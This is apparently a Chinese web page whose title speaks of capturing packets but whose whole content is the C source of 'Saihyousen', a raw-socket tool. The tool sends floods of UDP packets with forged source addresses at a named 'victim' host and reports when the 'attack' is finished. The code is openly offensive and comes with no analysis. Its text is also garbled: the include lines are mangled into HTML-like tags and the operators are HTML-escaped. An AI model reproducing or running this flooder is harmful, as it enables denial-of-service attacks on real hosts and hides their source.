如何获取数据包

  1<sys types.h="">   
  2#include<sys socket.h="">   
  3#include<netinet in_systm.h="">   
  4#include<netinet in.h="">   
  5#include<netinet ip.h="">   
  6#include<netinet udp.h="">   
  7#include<errno.h>   
  8#include<strings.h>   
  9#include<netdb.h>   
 10#include <stdlib.h>   
 11#include<stdio.h>   
 12#ifdef BROKEN_LIBC   
 13#include <arpa inet.h="">   
 14#else   
 15#define u_char unsigned char   
 16#define u_short unsigned short   
 17#endif   
 18  
 19struct sockaddr sa;   
 20  
 21int main(int argc,char **argv)   
 22{   
 23int fd;   
 24int x=1;   
 25int hosti=192;   
 26int hostii=168;   
 27int hostiii=1;   
 28int meep=0;   
 29int fooport=1;   
 30int numpack=0;   
 31char funhost[15];   
 32struct sockaddr_in *p;   
 33struct hostent *he;   
 34u_char gram[36]=   
 35{   
 360x45, 0x00, 0x00, 0x26,   
 370x12, 0x34, 0x00, 0x00,   
 380xFF, 0x11, 0, 0,   
 390, 0, 0, 0,   
 400, 0, 0, 0,   
 410, 0, 0, 0,   
 420x00, 0x12, 0x00, 0x00,   
 43'3','1','3','3','7','8','9','0'   
 44};   
 45  
 46if(argc!=3)   
 47{   
 48fprintf(stderr,"Saihyousen, by Noc-Wage\n");   
 49fprintf(stderr,"The faster your connection to the internet is (latency   
 50wise, not bandwidth)\n");   
 51fprintf(stderr,"and the lower the CPU speed of the victim   
 52will\nincrease probability of success\n");   
 53fprintf(stderr,"usage: %s victim num_of_packets Ex: saihyousen   
 54127.0.0.1 40000\n",*argv);   
 55exit(1);   
 56};   
 57if((fd=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))== -1)   
 58{   
 59perror("requires RAW SOCKETS");   
 60exit(1);   
 61};   
 62  
 63#ifdef IP_HDRINCL   
 64if (setsockopt(fd,IPPROTO_IP,IP_HDRINCL,(char*)&amp;x,sizeof(x))&lt;0)   
 65{   
 66perror("setsockopt IP_HDRINCL");   
 67exit(1);   
 68};   
 69#else   
 70fprintf(stderr,"we don't have IP_HDRINCL :-(\n\n");   
 71#endif   
 72  
 73for (numpack=0;numpack&lt;=atoi(argv[2]);numpack++) {   
 74if (meep==0) { ++hosti; meep++; }   
 75if (hosti&gt;254) hosti=1;   
 76if (meep==1) { ++hostii; meep++;}   
 77if (hostii&gt;254) hostii=1;   
 78if (meep==2) { ++hostiii; meep=0;}   
 79if (hostiii&gt;254) hostiii=1;   
 80  
 81sprintf( funhost, "%i.%i.%i.%i",hosti,hostii,hostiii,hosti);   
 82(he=gethostbyname(funhost));   
 83bcopy(*(he-&gt;h_addr_list),(gram+12),4);   
 84  
 85if((he=gethostbyname(argv[1]))==NULL)   
 86{   
 87fprintf(stderr,"can't resolve destination hostname\n");   
 88exit(1);   
 89};   
 90bcopy(*(he-&gt;h_addr_list),(gram+16),4);   
 91fooport++;   
 92if (fooport&gt;65530) {fooport=1;};   
 93*(u_short*)(gram+20)=htons((u_short)fooport);   
 94*(u_short*)(gram+22)=htons((u_short)fooport);   
 95  
 96p=(struct sockaddr_in*)&amp;sa   
 97p-&gt;sin_family=AF_INET;   
 98bcopy(*(he-&gt;h_addr_list),&amp;(p-&gt;sin_addr),sizeof(struct in_addr));   
 99  
100if((sendto(fd,&amp;gram,sizeof(gram),0,(struct sockaddr*)p,sizeof(struct   
101sockaddr)))== -1)   
102{   
103perror("sendto");   
104exit(1);   
105};   
106};   
107printf("Attack against %s finished", argv[1]);   
108putchar('\n');   
109return 1;   
110}</arpa></stdio.h></stdlib.h></netdb.h></strings.h></errno.h></netinet></netinet></netinet></netinet></sys></sys>